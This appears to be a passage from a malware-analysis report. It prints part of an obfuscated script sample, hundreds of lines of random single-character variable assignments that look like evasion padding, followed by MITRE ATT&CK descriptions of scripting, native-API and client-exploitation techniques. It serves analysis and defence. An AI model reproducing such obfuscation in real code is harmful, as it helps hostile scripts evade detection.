255	jcwehny = "c";
256	jcwehny = "i";
257	jcwehny = "V";
258	jcwehny = "m";
259	jcwehny = "h";
260	jcwehny = "D";
261	jcwehny = "E";
262	jcwehny = "q";
263	jcwehny = "O";
264	jcwehny = "W";
265	jcwehny = "W";
266	jcwehny = "m";
267	jcwehny = "i";
268	jcwehny = "h";
269	lghbwrfr = "B";
270	lghbwrfr = "H";
271	lghbwrfr = "w";
272	lghbwrfr = "O";
273	lghbwrfr = "z";
274	lghbwrfr = "k";
275	lghbwrfr = "E";
276	lghbwrfr = "K";
277	lghbwrfr = "V";
278	lghbwrfr = "P";
279	lghbwrfr = "i";
280	lghbwrfr = "x";
281	lghbwrfr = "a";
282	lghbwrfr = "i";
283	lghbwrfr = "X";
284	lghbwrfr = "B";
285	lghbwrfr = "b";
286	lghbwrfr = "K";
287	lghbwrfr = "Z";
288	lghbwrfr = "E";
289	viopklfvx = "K";
290	viopklfvx = "J";
291	viopklfvx = "D";
292	viopklfvx = "A";
293	viopklfvx = "X";
294	viopklfvx = "T";
295	viopklfvx = "V";
296	viopklfvx = "U";
297	viopklfvx = "Y";
298	viopklfvx = "Z";
299	viopklfvx = "u";
300	viopklfvx = "D";
301	viopklfvx = "z";
302	viopklfvx = "k";
303	viopklfvx = "T";
304	viopklfvx = "z";
305	viopklfvx = "D";
306	viopklfvx = "H";
307	viopklfvx = "a";
308	viopklfvx = "E";
309	viopklfvx = "F";
310	viopklfvx = "x";
311	viopklfvx = "b";
312	viopklfvx = "F";
313	viopklfvx = "T";
314	viopklfvx = "E";
315	viopklfvx = "O";
316	viopklfvx = "v";
317	viopklfvx = "E";
318	viopklfvx = "D";
319	viopklfvx = "C";
320	viopklfvx = "v";
321	viopklfvx = "L";
322	viopklfvx = "F";
323	viopklfvx = "i";
324	viopklfvx = "g";
325	viopklfvx = "f";
326	viopklfvx = "C";
327	viopklfvx = "f";
328	dtbufhd = "W";
329	dtbufhd = "j";
330	stcmw = "n";
331	stcmw = "f";
332	stcmw = "n";
333	stcmw = "x";
334	jauobmfkr = "d";
335	jauobmfkr = "q";
336	jauobmfkr = "h";
337	jauobmfkr = "t";
338	jauobmfkr = "b";
339	jauobmfkr = "h";
340	jauobmfkr = "t";
341	jauobmfkr = "a";
342	jauobmfkr = "c";
343	jauobmfkr = "m";
344	jauobmfkr = "J";
345	jauobmfkr = "C";
346	jauobmfkr = "A";
347	jauobmfkr = "U";
348	jauobmfkr = "Y";
349	jauobmfkr = "U";
350	jauobmfkr = "K";
351	jauobmfkr = "U";
352	jauobmfkr = "k";
353	jauobmfkr = "Q";
354	jauobmfkr = "d";
355	jauobmfkr = "i";
356	jauobmfkr = "e";
357	jauobmfkr = "o";
358	jauobmfkr = "V";
359	jauobmfkr = "b";
360	jauobmfkr = "v";
361	jauobmfkr = "s";
362	jauobmfkr = "i";
363	jauobmfkr = "Y";
364	jauobmfkr = "-";
365	btwsy = "s";
366	btwsy = "D";
367	btwsy = "f";
368	btwsy = "d";
369	btwsy = "E";
370	btwsy = "q";
371	btwsy = "T";
372	btwsy = "w";
373	btwsy = "s";
374	btwsy = "n";
375	btwsy = "L";
376	btwsy = "A";
377	btwsy = "H";
378	btwsy = "k";
379	btwsy = "E";
380	btwsy = "N";
381	btwsy = "J";
382	btwsy = "k";
383	btwsy = "2";
384	jwbglk = "D";
385	jwbglk = "n";
386	jwbglk = "I";
387	jwbglk = "m";
388	jwbglk = "x";
389	jwbglk = "n";
390	jwbglk = "g";
391	jwbglk = "E";
392	jwbglk = "B";
393	jwbglk = "R";
394	jwbglk = "z";
395	jwbglk = "x";
396	jwbglk = "y";
397	jwbglk = "o";
398	jwbglk = "g";
399	jwbglk = "i";
400	jwbglk = "f";
401	jwbglk = "6";
402	ejtubklr = "c";
403	ejtubklr = "o";
404	ejtubklr = "j";
405	ejtubklr = "B";
406	ejtubklr = "H";
407	ejtubklr = "Z";
408	ejtubklr = "W";
409	ejtubklr = "q";
410	ejtubklr = "F";
411	ejtubklr = "U";
412	ejtubklr = "q";
413	ejtubklr = "n";
414	ejtubklr = "n";
415	ejtubklr = "P";
416	ejtubklr = "k";
417	ejtubklr = "d";
418	ejtubklr = "t";
419	ejtubklr = "M";
420	ejtubklr = "h";
421	ejtubklr = "H";
422	ejtubklr = "e";
423	ejtubklr = "q";
424	ejtubklr = "f";
425	ejtubklr = "j";
426	ejtubklr = "N";
427	ejtubklr = "d";
428	rmorp = "C";
429	rmorp = "P";
430	rmorp = "i";
431	rmorp = "d";
432	rmorp = "y";
433	rmorp = "x";
434	rmorp = "v";
435	rmorp = "N";
436	rmorp = "M";
437	rmorp = "m";
438	rmorp = "o";
439	rmorp = "v";
440	rmorp = "g";
441	rmorp = "S";
442	rmorp = "M";
443	rmorp = "I";
444	rmorp = "h";
445	rmorp = "x";
446	rmorp = "D";
447	rmorp = "z";
448	rmorp = "b";
449	rmorp = "n";
450	rmorp = "w";
451	rmorp = "c";
452	rmorp = "P";
453	rmorp = "F";
454	rmorp = "Z";
455	rmorp = "u";
456	rmorp = "u";
457	rmorp = "H";
458	rmorp = "S";
459	rmorp = "S";
460	rmorp = "M";
461	rmorp = "M";
462	rmorp = "M";
463	rmorp = "a";
464	rmorp = "w";
465	rmorp = "X";
466	rmorp = "T";
467	rmorp = "h";
468	rmorp = "I";
469	rmorp = "/";
470	bdynfmm = "k";
471	bdynfmm = "b";
472	bdynfmm = "A";
473	bdynfmm = "f";
474	bdynfmm = "f";
475	bdynfmm = "p";
476	bdynfmm = "g";
477	bdynfmm = "A";
478	bdynfmm = "G";
479	bdynfmm = "O";
480	bdynfmm = "B";
481	bdynfmm = "r";
482	bdynfmm = "G";
483	bdynfmm = "t";
484	bdynfmm = "b";
485	bdynfmm = "i";
486	bdynfmm = "I";
487	bdynfmm = "O";
488	bdynfmm = "Z";
489	bdynfmm = "G";
490	bdynfmm = "N";
491	bdynfmm = "O";
492	bdynfmm = "U";
493	bdynfmm = "T";
494	bdynfmm = "q";
495	bdynfmm = "c";
496	bdynfmm = "A";
497	bdynfmm = "n";
498	bdynfmm = "b";
499	bdynfmm = "r";
500	bdynfmm = "r";
501	bdynfmm = "Z";
502	bdynfmm = "P";
503	bdynfmm = "y";
504	bdynfmm = "k";
505	bdynfmm = "Y";
506	zjgcjgweh = "N";
507	zjgcjgweh = "h";
508	zjgcjgweh = "u";
509	zjgcjgweh = "F";
510	zjgcjgweh = "L";
511	zjgcjgweh = "y";
512	zjgcjgweh = "y";
513	zjgcjgweh = "w";
514	zjgcjgweh = "W";
515	zjgcjgweh = "Y";
516	zjgcjgweh = "F";
517	zjgcjgweh = "a";
518	zjgcjgweh = "V";
519	zjgcjgweh = "d";
520	zjgcjgweh = "C";
521	zjgcjgweh = "j";
522	zjgcjgweh = "R";
523	zjgcjgweh = "B";
524	zjgcjgweh = "t";
525	zjgcjgweh = "u";
526	zjgcjgweh = "I";
527	zjgcjgweh = "C";
528	zjgcjgweh = "C";
529	zjgcjgweh = "S";
530	zjgcjgweh = "t";
531	zjgcjgweh = "e";
532	zjgcjgweh = "X";
533	zjgcjgweh = "K";
534	zjgcjgweh = "J";
535	zjgcjgweh = "4";
536	lylzeobqc = "B";
537	lylzeobqc = "V";
538	lylzeobqc = "I";
539	lylzeobqc = "L";
540	lylzeobqc = "R";
541	lylzeobqc = "R";
542	lylzeobqc = "v";
543	lylzeobqc = "S";
544	lylzeobqc = "E";
545	lylzeobqc = "h";
546	lylzeobqc = "P";
547	lylzeobqc = "L";
548	lylzeobqc = "Z";
549	lylzeobqc = "g";
550	lylzeobqc = "V";
551	lylzeobqc = "r";
552	lylzeobqc = "R";
553	lylzeobqc = "l";
554	lylzeobqc = "B";
555	lylzeobqc = "y";
556	lylzeobqc = "j";
557	lylzeobqc = "f";
558	lylzeobqc = "l";
559	lylzeobqc = "k";
560	lylzeobqc = "b";
561	lylzeobqc = "J";
562	lylzeobqc = "U";
563	lylzeobqc = "r";
564	lylzeobqc = "O";
565	lylzeobqc = "Q";
566	lylzeobqc = "H";
567	lylzeobqc = "F";
568	lylzeobqc = "f";
569	lylzeobqc = "M";
570	lylzeobqc = "U";
571	lylzeobqc = "T";
572	lylzeobqc = "x";
573	lylzeobqc = "R";
574	lylzeobqc = "d";
575	lylzeobqc = "F";
576	lylzeobqc = "C";
577	rapsvvcs = "q";
578	rapsvvcs = "R";
579	rapsvvcs = "T";
580	rapsvvcs = "K";
581	rapsvvcs = "X";
582	rapsvvcs = "h";
583	rapsvvcs = "V";
584	rapsvvcs = "X";
585	rapsvvcs = "E";
586	rapsvvcs = "f";
587	rapsvvcs = "l";
588	rapsvvcs = "N";
589	ipuoml = "c";
590	ipuoml = "j";
591	ipuoml = "l";
592	ipuoml = "J";
593	ipuoml = "d";
594	ipuoml = "i";
595	ipuoml = "O";
596	ipuoml = "z";
597	ipuoml = "U";
598	ipuoml = "w";
599	ipuoml = "D";
600	ipuoml = "q";
601	ipuoml = "f";
602	ipuoml = "V";
603	ipuoml = "W";
604	ipuoml = "r";
605	ipuoml = "s";
606	ipuoml = "s";
607	ipuoml = "s";
608	ipuoml = "v";
609	ipuoml = "n";
610	ipuoml = "E";
611	ipuoml = "S";
612	xyghxfoac = "n";
613	xyghxfoac = "R";
614	rwwjmma = "b";
615	rwwjmma = "A";
616	rwwjmma = "N";
617	rwwjmma = "L";
618	rwwjmma = "d";
619	rwwjmma = "l";
620	rwwjmma = "G";
621	rwwjmma = "x";
622	rwwjmma = "j";
623	rwwjmma = "X";
624	rwwjmma = "j";
625	rwwjmma = "T";
626	rwwjmma = "I";
627	rwwjmma = "e";
628	rwwjmma = "B";
629	rwwjmma = "E";
630	rwwjmma = "y";
631	rwwjmma = "k";
632	rwwjmma = "C";
633	rwwjmma = "m";
634	rwwjmma = "q";
635	zdnpy = "X";
636	zdnpy = "k";
637	zdnpy = "g";
638	zdnpy = "u";
639	zdnpy = "l";
640	zdnpy = "s";
641	zdnpy = "h";
642	zdnpy = "d";
643	zdnpy = "u";
644	zdnpy = "W";
645	zdnpy = "D";
646	zdnpy = "Q";
647	zdnpy = "l";
648	zdnpy = "f";
649	zdnpy = "B";
650	zdnpy = "D";
651	zdnpy = "C";
652	zdnpy = "v";
653	zdnpy = "a";
654	zdnpy = "T";
655	zdnpy = "Y";
656	zdnpy = "w";
657	zdnpy = "u";
658	zdnpy = "V";
659	zdnpy = "G";
660	zdnpy = "s";
661	zdnpy = "K";
662	zdnpy = "K";
663	zdnpy = "M";
664	zdnpy = "v";
665	zdnpy = "o";
666	zdnpy = "U";
667	zdnpy = "n";
668	zdnpy = "A";
669	zdnpy = "E";
670	zdnpy = "v";
671	zdnpy = "V";
672	zdnpy = "T";
673	zdnpy = "5";
674	rtxfj = "T";
675	rtxfj = "D";
676	rtxfj = "E";
677	rtxfj = "t";
678	rtxfj = "u";
679	rtxfj = "g";
680	rtxfj = "m";
681	rtxfj = "X";
682	rtxfj = "K";
683	rtxfj = "U";
684	rtxfj = "K";
685	rtxfj = "Y";
686	rtxfj = "S";
687	rtxfj = "s";
688	rtxfj = "O";
689	rtxfj = "y";
690	rtxfj = "K";
691	rtxfj = "N";
692	rtxfj = "Q";
693	rtxfj = "t";
694	rtxfj = "d";
695	rtxfj = "W";
696	rtxfj = "T";
697	rtxfj = "v";
698	rtxfj = "F";
699	rtxfj = "c";
700	rtxfj = "h";
701	rtxfj = "U";
702	rtxfj = "C";
703	rtxfj = "e";
704	rtxfj = "O";
705	rtxfj = "C";
706	rtxfj = "U";
707	swyswsry = "K";
708	swyswsry = "n";
709	swyswsry = "a";
710	swyswsry = "s";
711	swyswsry = "i";
712	swyswsry = "R";
713	swyswsry = "L";
714	swyswsry = "Z";
715	swyswsry = "e";
716	swyswsry = "n";
717	swyswsry = "g";
718	swyswsry = "y";
719	swyswsry = "r";
720	swyswsry = "B";
721	swyswsry = "Y";
722	swyswsry = "X";
723	swyswsry = "y";
724	swyswsry = "t";
725	swyswsry = "P";
726	swyswsry = "q";
727	swyswsry = "i";
728	swyswsry = "T";
729	swyswsry = "W";
730	swyswsry = "O";
731	swyswsry = "D";
732	swyswsry = "d";
733	swyswsry = ".";
734	xbrzax = "l";
735	xbrzax = "F";
736	xbrzax = "g";
737	xbrzax = "m";
738	xbrzax = "O";
739	xbrzax = "x";
740	xbrzax = "P";
741	xbrzax = "S";
742	xbrzax = "q";
743	xbrzax = "w";
744	xbrzax = "p";
745	xbrzax = "c";
746	xbrzax = "g";
747	xbrzax = "L";
748	xbrzax = "u";
749	xbrzax = "s";
750	xbrzax = "V";
751	xbrzax = "x";
752	xbrzax = "H";
753	xbrzax = "A";
754	xbrzax = "D";
755	xbrzax = "p";
756	xbrzax = "O";
757	xbrzax = "J";
758	xbrzax = "W";
759	xbrzax = "x";
760	xbrzax = "w";
761	xbrzax = "z";
762	xbrzax = "X";
763	xbrzax = "a";
764	xbrzax = "Q";
765	xbrzax = "P";
766	xbrzax = "b";
767	xbrzax = "l";
768	xbrzax = "N";
769	xbrzax = "q";
770	xbrzax = "K";
771	xbrzax = "p";
772	etilgdqo = "k";
773	etilgdqo = "D";
774	etilgdqo = "b";
775	etilgdqo = "A";
776	etilgdqo = "R";
777	etilgdqo = "I";
778	etilgdqo = "F";
779	etilgdqo = "R";
780	etilgdqo = "h";
781	etilgdqo = "z";
782	etilgdqo = "p";
783	etilgdqo = "z";
784	etilgdqo = "o";
785	lehun = "e";
786	lehun = "J";
787	lehun = "Z";
788	lehun = "H";
789	lehun = "L";
790	lehun = "m";
791	lehun = "y";
792	lehun = "n";
793	lehun = "y";
794	lehun = "V";
795	lehun = "w";
796	lehun = "B";
797	lehun = "z";
798	lehun = "k";
799	lehun = "A";
800	lehun = "z";
801	lehun = "&";
802	kwrnk = "e";
803	kwrnk = "B";
804	kwrnk = "W";
805	kwrnk = "F";
806	kwrnk = "t";
807	kwrnk = "G";
808	kwrnk = "s";
809	kwrnk = "U";
810	kwrnk = "x";
811	kwrnk = "S";
812	kwrnk = "V";
813	kwrnk = "H";
814	kwrnk = "b";
815	kwrnk = "y";
816	kwrnk = "U";
817	kwrnk = "v";
818	kwrnk = "i";
819	kwrnk = "P";
820	kwrnk = "u";
821	kwrnk = "Y";
822	kwrnk = "f";
823	kwrnk = "Y";
824	kwrnk = "z";
825	kwrnk = "x";
826	kwrnk = "W";
827	kwrnk = "E";
828	kwrnk = "G";
829	kwrnk = "T";
830	kwrnk = "r";
831	kwrnk = "H";
832	kwrnk = "m";
833	kwrnk = "U";
834	kwrnk = "1";
835	tderkyp = "v";
836	tderkyp = "Q";
837	tderkyp = "B";
838	tderkyp = "f";
839	tderkyp = "E";
840	tderkyp = "R";
841	tderkyp = "E";
842	tderkyp = "o";
843	tderkyp = "v";
844	tderkyp = "i";
845	tderkyp = "l";
846	tderkyp = "q";
847	tderkyp = "s";
848	tderkyp = "L";
849	tderkyp = "e";
850	tderkyp = "D";
851	tderkyp = "S";
852	tderkyp = "u";
853	tderkyp = "S";
854	tderkyp = "m";
855	tderkyp = "a";
856	tderkyp = "e";
857	tderkyp = "B";
858	tderkyp = "r";
859	tderkyp = "u";
860	tderkyp = "Z";
861	tderkyp = "Q";
862	tderkyp = "o";
863	tderkyp = "i";
864	tderkyp = "g";
865	tderkyp = "v";
866	tderkyp = "H";
867	tderkyp = "E";
868	tderkyp = "s";
869	tderkyp = "M";
870	tderkyp = "y";
871	tderkyp = "d";
872	tderkyp = "n";
873	tderkyp = "h";
874	tderkyp = "3";
875	mmacigr = "S";
876	mmacigr = "M";
877	mmacigr = "E";
878	mmacigr = "f";
879	mmacigr = "C";
880	mmacigr = "J";
881	mmacigr = "r";
882	mmacigr = "A";
883	mmacigr = "V";
884	mmacigr = "l";
885	mmacigr = "c";
886	mmacigr = "V";
887	mmacigr = "R";
888	mmacigr = "M";
889	mmacigr = "S";
890	mmacigr = "q";
891	mmacigr = "t";
892	mmacigr = "M";
893	mmacigr = "v";
894	mmacigr = "J";
895	mmacigr = "f";
896	mmacigr = "J";
897	mmacigr = "B";
898	mmacigr = "a";
899	mmacigr = "M";
900	mmacigr = "n";
901	mmacigr = "K";
902	mmacigr = "u";
903	mmacigr = "A";
904	mmacigr = ":";
905	bqrfzdx = "K";
906	bqrfzdx = "I";
907	bqrfzdx = "A";
908	bqrfzdx = "S";
909	bqrfzdx = "q";
910	bqrfzdx = "a";
911	bqrfzdx = "n";
912	bqrfzdx = "a";
913	bqrfzdx = "C";
914	bqrfzdx = "D";
915	bqrfzdx = "I";
916	bqrfzdx = "J";
917	bqrfzdx = "U";
918	bqrfzdx = "E";
919	bqrfzdx = "Z";
920	bqrfzdx = "s";
921	bqrfzdx = "Q";
922	bqrfzdx = "w";
923	bqrfzdx = "F";
924	bqrfzdx = "U";
925	bqrfzdx = "j";
926	bqrfzdx = "p";
927	bqrfzdx = "f";
928	bqrfzdx = "t";
929	bqrfzdx = "y";
930	bqrfzdx = "u";
931	bqrfzdx = "v";
932	bqrfzdx = "L";
933	bqrfzdx = "r";
934	bqrfzdx = "a";
935	bqrfzdx = "Q";
936	bqrfzdx = "z";
937	bqrfzdx = "L";
938	bqrfzdx = "R";
939	bqrfzdx = "A";
940	bqrfzdx = "H";
941	bqrfzdx = "C";
942	bqrfzdx = "c";
943	bqrfzdx = "Z";
944	bqrfzdx = "O";
945	bqrfzdx = "K";
946	bqrfzdx = "D";
947	bqrfzdx = "b";
948	bqrfzdx = "Q";
949	bqrfzdx = "w";
950	sqhlesu = "P";
951	sqhlesu = "K";
952	sqhlesu = "I";
953	sqhlesu = "N";
954	sqhlesu = "c";
955	sqhlesu = "n";
956	sqhlesu = "D";
957	sqhlesu = "k";
958	sqhlesu = "N";
959	sqhlesu = "K";
960	sqhlesu = "Q";
961	sqhlesu = "O";
962	sqhlesu = "v";
963	sqhlesu = "m";
964	dvrcfo = "j";
965	dvrcfo = "D";
966	dvrcfo = "c";
967	dvrcfo = "F";
968	dvrcfo = "D";
969	dvrcfo = "h";
970	dvrcfo = "z";
971	dvrcfo = "A";
972	dvrcfo = "t";
973	dvrcfo = "z";
974	dvrcfo = "Y";
975	dvrcfo = "@";
976	vimjlhdns = "E";
977	vimjlhdns = "\"";
978	kukpbtt = "O";
979	kukpbtt = "F";
980	kukpbtt = "b";
981	kukpbtt = "R";
982	kukpbtt = "m";
983	kukpbtt = "S";
984	kukpbtt = "b";
985	kukpbtt = "P";
986	kukpbtt = "Y";
987	kukpbtt = "O";
988	bwzpjfks = "y";
989	bwzpjfks = "U";
990	bwzpjfks = "e";
991	bwzpjfks = "i";
992	bwzpjfks = "J";
993	bwzpjfks = "A";
994	bwzpjfks = "a";
995	bwzpjfks = "u";
996	bwzpjfks = "u";
997	bwzpjfks = "M";
998	bwzpjfks = "f";
999	bwzpjfks = "Q";
1000	bwzpjfks = "V";
1001	bwzpjfks = "M";
1002	bwzpjfks = "e";
1003	bwzpjfks = "p";
1004	bwzpjfks = "r";
1005	bwzpjfks = "B";
1006	bwzpjfks = "f";
1007	bwzpjfks = "E";
1008	bwzpjfks = "e";
1009	bwzpjfks = "j";
1010	bwzpjfks = "e";
1011	bwzpjfks = "o";
1012	bwzpjfks = "e";
1013	bwzpjfks = "Q";
1014	bwzpjfks = "Q";
1015	bwzpjfks = "N";
1016	bwzpjfks = "u";
1017	bwzpjfks = "V";
1018	bwzpjfks = "a";
1019	bwzpjfks = "G";
1020	bwzpjfks = "c";
1021	xbgdo = "Q";
1022	xbgdo = "g";
1023	xbgdo = "w";
1024	xbgdo = "w";
1025	xbgdo = "Z";
1026	xbgdo = "d";
1027	xbgdo = "W";
1028	xbgdo = "E";
1029	xbgdo = "c";
1030	xbgdo = "q";
1031	xbgdo = "U";
1032	xbgdo = "P";
1033	xbgdo = "O";
1034	xbgdo = "w";
1035	xbgdo = "j";
1036	xbgdo = "r";
1037	xbgdo = "O";
1038	xbgdo = "n";
1039	xbgdo = "n";
1040	xbgdo = "Q";
1041	xbgdo = "L";
1042	xbgdo = "T";
1043	xbgdo = "I";
1044	xbgdo = "v";
1045	xbgdo = "I";
1046	xbgdo = "W";
1047	xbgdo = "o";
1048	xbgdo = "K";
1049	xbgdo = "S";
1050	xbgdo = "a";
1051	xbgdo = "h";
1052	xbgdo = "r";
1053	trvab = "k";
1054	trvab = "H";
1055	trvab = "D";
1056	trvab = "U";
1057	trvab = "v";
1058	trvab = "N";
1059	trvab = "v";
1060	myvgadcdy = "w";
1061	myvgadcdy = "C";
1062	myvgadcdy = "F";
1063	myvgadcdy = "d";
1064	myvgadcdy = "R";
1065	myvgadcdy = "L";
1066	myvgadcdy = "z";
1067	myvgadcdy = "T";
1068	myvgadcdy = "G";
1069	myvgadcdy = "h";
1070	myvgadcdy = "Z";
1071	myvgadcdy = "e";
1072	myvgadcdy = "Z";
1073	myvgadcdy = "E";
1074	myvgadcdy = "p";
1075	myvgadcdy = "Y";
1076	myvgadcdy = "M";
1077	myvgadcdy = "K";
1078	myvgadcdy = "H";
1079	myvgadcdy = "b";
1080	myvgadcdy = "P";
1081	myvgadcdy = "H";
1082	myvgadcdy = "J";
1083	myvgadcdy = "w";
1084	myvgadcdy = "E";
1085	myvgadcdy = "t";
1086	myvgadcdy = "k";
1087	bzwtx = "x";
1088	bzwtx = "m";
1089	bzwtx = "O";
1090	bzwtx = "j";
1091	bzwtx = "W";
1092	bzwtx = "a";
1093	bzwtx = "Z";
1094	bzwtx = "J";
1095	bzwtx = "q";
1096	bzwtx = "x";
1097	bzwtx = "J";
1098	bzwtx = "k";
1099	bzwtx = "Y";
1100	bzwtx = "G";
1101	bzwtx = "v";
1102	bzwtx = "p";
1103	bzwtx = "f";
1104	bzwtx = "I";
1105	bzwtx = "H";
1106	bzwtx = "C";
1107	bzwtx = "e";
1108	bzwtx = "d";
1109	bzwtx = "Q";
1110	bzwtx = "z";
1111	bzwtx = "t";
1112	bzwtx = "K";
1113	bzwtx = "H";
1114	bzwtx = "e";
1115	bzwtx = "c";
1116	bzwtx = "9";
1117	dusvdpwzp = "u";
1118	dusvdpwzp = "Z";
1119	dusvdpwzp = "c";
1120	dusvdpwzp = "i";
1121	dusvdpwzp = "q";
1122	dusvdpwzp = "O";
1123	dusvdpwzp = "l";
1124	dusvdpwzp = "m";
1125	dusvdpwzp = "M";
1126	dusvdpwzp = "j";
1127	dusvdpwzp = "y";
1128	dusvdpwzp = "W";
1129	dusvdpwzp = "P";
1130	dusvdpwzp = "x";
1131	dusvdpwzp = "a";
1132	dusvdpwzp = "M";
1133	dusvdpwzp = "T";
1134	dusvdpwzp = "r";
1135	dusvdpwzp = "K";
1136	qwokndqqy = "O";
1137	qwokndqqy = "B";
1138	qwokndqqy = "r";
1139	qwokndqqy = "X";
1140	qwokndqqy = "l";
1141	qwokndqqy = "d";
1142	qwokndqqy = "s";
1143	qwokndqqy = "g";
1144	qwokndqqy = "K";
1145	qwokndqqy = "O";
1146	qwokndqqy = "v";
1147	qwokndqqy = "k";
1148	qwokndqqy = "I";
1149	qwokndqqy = "x";
1150	qwokndqqy = "P";
1151	ocvego = "F";
1152	ocvego = "R";
1153	ocvego = "D";
1154	ocvego = "e";
1155	ocvego = "B";
1156	ocvego = "t";
1157	ocvego = "A";
1158	ocvego = "a";
1159	ocvego = "i";
1160	ocvego = "C";
1161	ocvego = "k";
1162	ocvego = "H";
1163	ocvego = "u";
1164	ocvego = "h";
1165	ocvego = "L";
1166	ocvego = "p";
1167	ocvego = "a";
1168	ocvego = " ";
1169	kxnifych = "e";
1170	kxnifych = "G";
1171	kxnifych = "E";
1172	kxnifych = "k";
1173	kxnifych = "s";
1174	kxnifych = "U";
1175	kxnifych = "I";
1176	affzwfilt = "V";
1177	affzwfilt = "x";
1178	affzwfilt = "J";
1179	affzwfilt = "V";
1180	affzwfilt = "d";
1181	affzwfilt = "o";
1182	affzwfilt = "s";
1183	affzwfilt = "r";
1184	affzwfilt = "J";
1185	affzwfilt = "s";
1186	affzwfilt = "y";
1187	affzwfilt = "T";
1188	affzwfilt = "d";
1189	affzwfilt = "S";
1190	affzwfilt = "M";
1191	affzwfilt = "%";
1192	xujjqg = "X";
1193	xujjqg = "P";
1194	xujjqg = "I";
1195	xujjqg = "E";
1196	xujjqg = "K";
1197	xujjqg = "J";
1198	xujjqg = "I";
1199	xujjqg = "b";
1200	xujjqg = "v";
1201	xujjqg = "R";
1202	xujjqg = "S";
1203	xujjqg = "K";
1204	xujjqg = "l";
1205	xujjqg = "l";
1206	xujjqg = "y";
1207	xujjqg = "L";
1208	xujjqg = "n";
1209	xujjqg = "m";
1210	xujjqg = "b";
1211	xujjqg = "g";
1212	gjojhh = "r";
1213	gjojhh = "X";
1214	gjojhh = "n";
1215	gjojhh = "T";
1216	gjojhh = "u";
1217	ucthd = "Z";
1218	ucthd = "Y";
1219	ucthd = "A";
1220	ucthd = "a";
1221	ucthd = "w";
1222	ucthd = "o";
1223	ucthd = "L";
1224	ucthd = "p";
1225	ucthd = "x";
1226	ucthd = "n";
1227	ucthd = "G";
1228	ucthd = "j";
1229	ucthd = "C";
1230	ucthd = "j";
1231	ucthd = "v";
1232	ucthd = "X";
1233	ucthd = "O";
1234	ucthd = "n";
1235	dabsstkb = "P";
1236	dabsstkb = "j";
1237	dabsstkb = "c";
1238	dabsstkb = "A";
1239	dabsstkb = "z";
1240	dabsstkb = "x";
1241	dabsstkb = "q";
1242	dabsstkb = "F";
1243	dabsstkb = "A";
1244	dabsstkb = "Y";
1245	dabsstkb = "t";
1246	dabsstkb = "R";
1247	dabsstkb = "Y";
1248	dabsstkb = "y";
1249	dabsstkb = "X";
1250	dabsstkb = "R";
1251	dabsstkb = "Z";
1252	dabsstkb = "p";
1253	dabsstkb = "z";
1254	dabsstkb = "y";
1255	dabsstkb = "V";
1256	dabsstkb = "f";
1257	dabsstkb = "U";
1258	dabsstkb = "C";
1259	dabsstkb = "t";
1260	fjvyf = "l";
1261	fjvyf = "z";
1262	fjvyf = "q";
1263	fjvyf = "j";
1264	fjvyf = "N";
1265	fjvyf = "R";
1266	fjvyf = "n";
1267	fjvyf = "y";
1268	fjvyf = "W";
1269	fjvyf = "R";
1270	fjvyf = "i";
1271	fjvyf = "m";
1272	fjvyf = "s";
1273	fjvyf = "v";
1274	fjvyf = "z";
1275	fjvyf = "s";
1276	fjvyf = "r";
1277	fjvyf = "n";
1278	fjvyf = "J";
1279	fjvyf = "H";
1280	fjvyf = "K";
1281	fjvyf = "Z";
1282	fjvyf = "a";
1283	fjvyf = "x";
1284	fjvyf = "v";
1285	fjvyf = "l";
1286	fjvyf = "p";
1287	fjvyf = "i";
1288	zvkbrp = "y";
1289	zvkbrp = "q";
1290	zvkbrp = "z";
1291	zvkbrp = "J";
1292	zvkbrp = "l";
1293	zvkbrp = "U";
1294	zvkbrp = "n";
1295	zvkbrp = "d";
1296	zvkbrp = "d";
1297	zvkbrp = "c";
1298	zvkbrp = "v";
1299	zvkbrp = "q";
1300	zvkbrp = "k";
1301	zvkbrp = "i";
1302	zvkbrp = "k";
1303	zvkbrp = "Z";
1304	zvkbrp = "g";
1305	zvkbrp = "q";
1306	zvkbrp = "m";
1307	zvkbrp = "v";
1308	zvkbrp = "G";
1309	zvkbrp = "d";
1310	zvkbrp = "k";
1311	zvkbrp = "j";
1312	zvkbrp = "Q";
1313	tysjh = "m";
1314	tysjh = "I";
1315	tysjh = "P";
1316	tysjh = "A";
1317	tysjh = "q";
1318	tysjh = "n";
1319	tysjh = "t";
1320	tysjh = "w";
1321	tysjh = "P";
1322	tysjh = "Z";
1323	tysjh = "U";
1324	tysjh = "W";
1325	tysjh = "g";
1326	tysjh = "h";
1327	tysjh = "d";
1328	tysjh = "C";
1329	tysjh = "s";
1330	tysjh = "t";
1331	tysjh = "d";
1332	tysjh = "M";
1333	tysjh = "E";
1334	tysjh = "R";
1335	tysjh = "c";
1336	tysjh = "S";
1337	tysjh = "i";
1338	tysjh = "l";
1339	vjnrsp ( );	vjnrsp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

